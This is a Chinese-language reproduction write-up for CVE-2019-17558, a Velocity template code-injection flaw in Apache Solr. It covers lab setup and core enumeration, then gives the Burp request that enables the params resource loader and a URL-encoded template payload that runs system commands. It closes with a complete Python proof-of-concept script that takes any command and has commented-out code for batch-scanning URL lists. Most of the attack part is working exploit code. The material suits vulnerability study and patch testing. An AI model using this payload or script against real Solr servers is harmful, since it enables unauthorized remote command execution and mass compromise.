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（CVE-2019-17558）Apache Solr 代码注入漏洞

一、漏洞简介

Apache Solr 5.0.0版本至8.3.1版本中存在代码注入漏洞。攻击者通过未授权访问solr服务器，发送特定的数据包开启paramsresource.loader.enabled，然后get访问接口导致服务器命令执行，命令回显结果在response

二、漏洞影响

Apache Solr 5.0.0版本至8.3.1

三、复现过程

环境搭建

https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip

velocity.solrresource.loader.enabled:true

/opt/solr-7.7.2/example/example-DIH/solr/atom/conf/solrconfig.xml
root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf# cat solrconfig.xml | grep enable
    <enableLazyFieldLoading>true</enableLazyFieldLoading>
    <str name="solrresource.loader.enabled">${velocity.solrresource.loader.enabled:false}</str>
    <str name="paramsresource.loader.enabled">${velocity.paramsresource.loader.enabled:false}</str>
root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf#

开启dih 示例

./solr -e dih -force
root@kali:/opt/solr-7.7.2/bin# ./solr -e dih -force
*** [WARN] *** Your open file limit is currently 1024.
 It should be set to 65000 to avoid operational disruption.
 If you no longer wish to see this warning, set SOLR_ULIMIT_CHECKS to false in your profile or solr.in.sh

Starting up Solr on port 8983 using command:
"/opt/solr-7.7.2/bin/solr" start -p 8983 -s "/opt/solr-7.7.2/example/example-DIH/solr" -force

Waiting up to 180 seconds to see Solr running on port 8983 [\]
Started Solr server on port 8983 (pid=20222). Happy searching!


Solr dih example launched successfully. Direct your Web browser to http://localhost:8983/solr to visit the Solr Admin UI
root@kali:/opt/solr-7.7.2/bin#

浏览器访问

http://10.10.20.166:8983/solr/#/

到此，漏洞环境搭建完成。

漏洞复现

用户在打开网站时候，再burpsuite里面会发现一个接口，可以获取所有core name的名称，方便后续遍历core name，拼接字符串,依次检测漏洞

http://www.0-sec.org:8983/solr/admin/cores?_=1572594549070&indexInfo=false&wt=json

简写为

http://www.0-sec.org:8983/solr/admin/cores?indexInfo=false&wt=json
{
  "responseHeader": {
    "status": 0,
    "QTime": 3
  },
  "initFailures": {},
  "status": {
    "atom": {
      "name": "atom",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:08.216Z",
      "uptime": 107753
    },
    "db": {
      "name": "db",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/db",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/db/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:09.224Z",
      "uptime": 106745
    },
    "mail": {
      "name": "mail",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:06.695Z",
      "uptime": 109273
    },
    "solr": {
      "name": "solr",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:06.702Z",
      "uptime": 109267
    },
    "tika": {
      "name": "tika",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:03.493Z",
      "uptime": 112475
    }
  }
}

利用Burpsuite 发包 ,开启paramsresource.loader.enabled

paramsresource.loader.enabled 默认是false

由于我们修改的atom目录下的配置文件，所以我们只能拿这个存在配置缺陷的接口来攻击

http://www.0-sec.org:8983/solr/atom/config

BurpSuite request

POST /solr/atom/config HTTP/1.1
Host: www.0-sec.org:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 259
Connection: close
Upgrade-Insecure-Requests: 1

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solrresource.loader.enabled": "true",
    "paramsresource.loader.enabled": "true"
  }
}

BurpSuite response

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 149

{
  "responseHeader":{
    "status":0,
    "QTime":554},
  "WARNING":"This response format is experimental.  It is likely to change in the future."}

开启后，直接Get 访问（带入表达式）进行 远程代码命令执行

http://www.0-sec.org:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

ssit

http://www.0-sec.org:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

注意到 状态码是400，而不是200，出现500的情况可能是 异常报错。

poc

usage

python solr_rce.py http://www.0-sec.org:8983 command

#coding=utf-8

import requests
import sys
import json

banner = '''
                            _             _____       _        _____   _____ ______ 
     /\                    | |           / ____|     | |      |  __ \ / ____|  ____|
    /  \   _ __   __ _  ___| |__   ___  | (___   ___ | |_ __  | |__) | |    | |__   
   / /\ \ | '_ \ / _` |/ __| '_ \ / _ \  \___ \ / _ \| | '__| |  _  /| |    |  __|  
  / ____ \| |_) | (_| | (__| | | |  __/  ____) | (_) | | |    | | \ \| |____| |____ 
 /_/    \_\ .__/ \__,_|\___|_| |_|\___| |_____/ \___/|_|_|    |_|  \_\\_____|______|
          | |                                                                       
          |_|                                                                       
                   Apache Solr Velocity模板远程代码执行
                         2019-10-30  17:30
                         python By Jas502n
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
'''
print banner

def get_code_name(url):
    if url[-1] == '/':
        url = url[:-1].split('\n')[0]
    else:
        url = url.split('\n')[0]

    core_url = url + '/solr/admin/cores?indexInfo=false&wt=json'
    print '[+] Querying Core Name: '+core_url,'\n'
    proxies = {"http":"http://127.0.0.1:8080"}
    try:
        # r = requests.get(core_url,proxies=proxies)
        r = requests.get(core_url)
        if r.status_code == 200 and 'responseHeader' in r.content and 'status' in r.content:
            json_str = json.loads(r.content)
            for i in json_str['status']:
                core_name_url = url + '/solr/' + i + '/config'
                print core_name_url
                update_queryresponsewriter(core_name_url)
        else:
            print "No core name exit!"
    except:
        pass
def update_queryresponsewriter(core_name_url):
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Content-Length': '259',
    'Connection': 'close'
    }
    payload = '''
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solrresource.loader.enabled": "true",
        "paramsresource.loader.enabled": "true"
      }
    }'''
    proxies = {"http":"http://127.0.0.1:8080"}
    r = requests.post(core_name_url,headers=headers,data=payload)
    # r = requests.post(core_name_url,headers=headers,data=payload,proxies=proxies)
    if r.status_code == 200 and 'responseHeader' in r.content:
        print "[+] maybe enable Successful!"
        exp_url = core_name_url[:-7]
        cmd = 'whoami'
        cmd = sys.argv[2]

        send_exp(exp_url,cmd)
    else:
        print "[+] Enable Fail!\n"
def send_exp(exp_url,cmd):
    exp_url = exp_url + r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + r"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    proxies = {"http":"http://127.0.0.1:8080"}
    r = requests.get(exp_url)
    # r = requests.get(exp_url,proxies=proxies)
    if r.status_code == 400 or r.status_code == 500  or r.status_code ==200 and len(r.content) >0:
        print ">>> [+] Exp Send Successful! <<<"
        print "____________________________________________________________"
        print '\n',exp_url,'\n'
        print '>>>>>>>\n',r.content
    else:
        print "[+] EXP No Send Successful!\n"
if __name__ == '__main__':
    if len(sys.argv) != 3:
        sys.exit("\n [+] Usage:  python %s http://x.x.x.x:8983  command\n" % sys.argv[0])
    else:
        # url = "http://192.168.5.86:8983"
        url = sys.argv[1]
        get_code_name(url)

        # 批量
        # f = open('url.txt','rb')
        # for i in f.readlines():
        #     url = i.split('\r\n')[0]
        #     get_code_name(url)

参考链接

https://github.com/jas502n/solr_rce